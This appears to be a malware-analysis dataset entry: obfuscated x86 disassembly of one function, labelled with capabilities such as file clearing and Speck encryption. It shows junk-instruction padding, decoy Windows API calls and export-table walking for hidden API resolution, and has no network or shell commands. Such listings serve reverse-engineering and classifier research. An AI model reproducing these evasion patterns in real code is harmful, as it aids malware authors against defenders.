Function at 0x416ab4
Capabilities:
Clear file content
Encrypt data using speck

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x10], 0xf89f85b6
lea eax, [ebp + 0x14]
mov edx, dword [0x42c00c]
sub dword [0x42c01c], edx
mov dword [ebp - 4], eax
and dword [0x42c01c], ebx
push esi
sub ecx, esi
mov esi, 0xf89c85b6
xor ecx, ecx
mov dword [ebp - 0xc], esi
or dword [section..vnhjh], 0x59c6
lea eax, [ebp - 0xc]
sub dword [0x42b014], 0x4110
mov dword [ebp - 0x14], eax
shl ecx, 1
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
adc dword [0x429014], 0x59c
mov ecx, 0x7510893
sub eax, ecx
sub dword [0x42b014], 0x42b004
add eax, 0x3272db
mov dword [edx], eax
mov edx, dword [0x42a004]
add dword [section..trtfd], edx
mov eax, dword [0x423e71]
mov edx, dword [0x42901c]
add dword [section..trtfd], edx
mov edx, dword [ebp - 4]
sub dword [section..xlsdkf], 0x780c
mov eax, dword [eax]
add eax, dword [edx]
add dword [0x42900c], ecx
push edi
and dword [0x429020], 0
mov edx, dword [0x429020]
inc edx
mov dword [0x429020], edx
cmp dword [0x429020], 0x25
jne 0x416b8c
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
cmp dword [0x429020], 0x19
jb 0x416b69
add dword [0x42c01c], 0x73bd
mov dword [ebp - 8], eax
adc dword [0x42d00c], ecx
mov edi, dword [ebp + 8]
sbb dword [0x42d018], 0x1580
mov eax, dword [0x423ff9]
and dword [0x42b01c], 0
jmp 0x416bda
mov edx, dword [0x42b01c]
inc edx
mov dword [0x42b01c], edx
cmp dword [0x42b01c], 0x1a
jae 0x416c44
cmp dword [0x42b01c], 0x10
jne 0x416c19
push 0x2d19
push dword [ebp - 0x10]
push 0x42d014
push 0x14d6
push 0x3bac
push 0x6779
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
cmp dword [0x42b01c], 0xf
jne 0x416c35
sub edx, edx
add edx, dword [0x42b01c]
inc edx
mov dword [0x42b01c], edx
jmp 0x416bcd
mov eax, dword [eax + 0x198]
mov edx, dword [0x42437c]
mov edx, dword [edx]
add dword [0x42d008], edx
sub edi, ecx
or edx, 0x793e
jmp 0x419018
mov edx, 0x3272db
add dword [0x42a008], 0x5e50
add edi, edx
mov dword [section..iuyhfv], 0x7626
cmp dword [eax], edi
je 0x419042
mov eax, dword [eax]
jmp 0x41b798
mov eax, dword [ebp + 0x18]
mov dword [0x42b004], 0x29bc
cmp eax, esi
jne 0x41906b
push 0xf89c85b5
mov dword [0x42a018], 0x6618
jmp 0x41b787
mov esi, dword [ebp + 0x18]
mov eax, 0xf89c85b4
mov dword [0x42a010], 0x8ff
cmp esi, eax
mov dword [0x42d010], 0x7cdb
jne 0x41b777
mov eax, dword [ebp + 0x10]
sub esi, esi
add esi, dword [0x423e29]
mov esi, dword [esi]
and dword [0x42a010], esi
sub eax, ecx
mov dword [0x42c01c], 0x15
cmp dword [0x42c01c], 0
je 0x419103
cmp dword [0x42c01c], 7
jne 0x4190d1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
cmp dword [0x42c01c], 8
jne 0x4190eb
mov esi, dword [0x42c01c]
dec esi
mov dword [0x42c01c], esi
mov esi, dword [0x42c01c]
dec esi
mov dword [0x42c01c], esi
jmp 0x4190ae
add eax, edx
and dword [0x42b004], 0
mov esi, dword [0x42b004]
inc esi
mov dword [0x42b004], esi
cmp dword [0x42b004], 4
jne 0x419139
push 0x6d2e
push 0x438c
call dword [sym.imp.KERNEL32.dll_SetCommState]
cmp dword [0x42b004], 3
jne 0x419153
mov esi, dword [0x42b004]
inc esi
mov dword [0x42b004], esi
cmp dword [0x42b004], 0x10
jb 0x41910f
mov dword [ebp - 0x18], eax
and dword [0x42d014], 0
mov eax, dword [0x42d014]
inc eax
mov dword [0x42d014], eax
cmp dword [0x42d014], 0x1a
jne 0x41919a
push 0x42453d
push 0x424503
push 0x87a6
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
cmp dword [0x42d014], 0x15
jb 0x41916d
inc esi
mov eax, dword [ebp + 0xc]
mov dword [section..ewewfd], 0x10
cmp dword [section..ewewfd], 0
je 0x419210
cmp dword [section..ewewfd], 5
jne 0x4191e2
push dword [ebp - 0x14]
push 0x594c
push 0x7c33
call dword [sym.imp.KERNEL32.dll_HeapValidate]
cmp dword [section..ewewfd], 6
jne 0x4191fc
mov esi, dword [section..ewewfd]
dec esi
mov dword [section..ewewfd], esi
sub esi, esi
add esi, dword [section..ewewfd]
dec esi
mov dword [section..ewewfd], esi
jmp 0x4191b5
mov esi, dword [ebp - 8]
and dword [0x429020], 0x232c
sub eax, ecx
inc dword [0x429028]
add eax, edx
and dword [0x42a008], 0x32e2
imul eax, dword [esi]
mov esi, dword [ebp + 8]
sub esi, ecx
add esi, edx
cmp esi, eax
mov eax, dword [ebp - 4]
push ebx
je 0x419260
mov esi, dword [ebp - 0x18]
add dword [eax], esi
mov eax, dword [ebp - 4]
mov esi, dword [ebp + 0xc]
sub esi, ecx
add esi, edx
imul esi, dword [eax]
mov dword [eax], esi
jmp 0x419265
mov esi, dword [ebp + 0x14]
xor dword [eax], esi
mov eax, dword [ebp - 4]
mov edi, dword [ebp + 0x10]
sub edi, ecx
mov esi, 0xffcd8d25
push esi
pop ebx
sub ebx, edi
add dword [eax], ebx
mov eax, dword [ebp - 4]
mov edi, dword [ebp - 8]
add edi, dword [eax]
mov dword [ebp - 8], edi
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 0xc]
sub edi, ecx
sub eax, ecx
lea eax, [eax + edi + 0x64e5b6]
mov edi, dword [ebp + 0xc]
sub edi, ecx
add edi, edx
imul eax, edi
mov edi, dword [ebp + 0xc]
sub edi, ecx
sub edi, eax
mov eax, dword [ebp - 4]
add edi, edx
cmp dword [eax], edi
mov eax, dword [ebp - 4]
mov edi, dword [ebp + 0x10]
jg 0x4192c5
sub edi, ecx
push esi
pop ebx
sub ebx, edi
add dword [eax], ebx
jmp 0x4192cb
sub edi, ecx
add edi, edx
add dword [eax], edi
mov eax, dword [ebp - 8]
mov edi, dword [ebp - 0x10]
mov eax, dword [eax]
sub edi, ecx
add edi, 0x3272da
not edi
and eax, edi
movsx di, byte [eax + 1]
mov ebx, 0x3b4b
sub di, bx
mov ebx, 0x8a85
xor di, bx
mov ebx, 0x4f8a
cmp di, bx
jne 0x419324
movsx di, byte [eax]
mov ebx, 0x3b4b
sub di, bx
mov ebx, 0x8a85
xor di, bx
mov ebx, 0x4f87
cmp di, bx
je 0x419334
mov edi, dword [ebp - 0x10]
sub edi, ecx
push esi
pop ebx
sub ebx, edi
add eax, ebx
jmp 0x4192df
mov esi, dword [ebp - 0x14]
mov esi, dword [esi]
mov edi, dword [eax + 0x3c]
lea esi, [edi + esi*8 + 0x78]
mov esi, dword [esi + eax]
mov dword [ebp - 8], esi
mov esi, dword [ebp + 8]
sub esi, ecx
add esi, edx
mov dword [ebp - 0x14], esi
mov esi, dword [ebp + 8]
mov edi, dword [ebp - 8]
sub esi, ecx
add esi, edx
pop ebx
cmp edi, esi
jne 0x41937b
mov eax, dword [ebp + 0xc]
sub eax, ecx
mov ecx, dword [ebp - 8]
add eax, edx
imul eax, ecx
mov dword [ebp - 8], eax
push dword [ebp + 0x18]
jmp 0x41b787
mov ecx, dword [ebp - 8]
add ecx, eax
jmp 0x41b738
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx + 0xc]
movsx cx, byte [ecx + eax]
mov edx, 0x3b4b
sub cx, dx
mov edx, 0x8a85
xor cx, dx
mov edx, 0x4f85
cmp cx, dx
jne 0x419373
mov ecx, dword [0x423ff9]
mov ecx, dword [ecx + 0x198]
mov dword [ecx], eax
jmp 0x41b798
mov ecx, dword [ebp + 0x18]
cmp ecx, 0xf89c85b5
jne 0x41b798
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00416ab4
pop edi
pop esi
leave
ret 0x14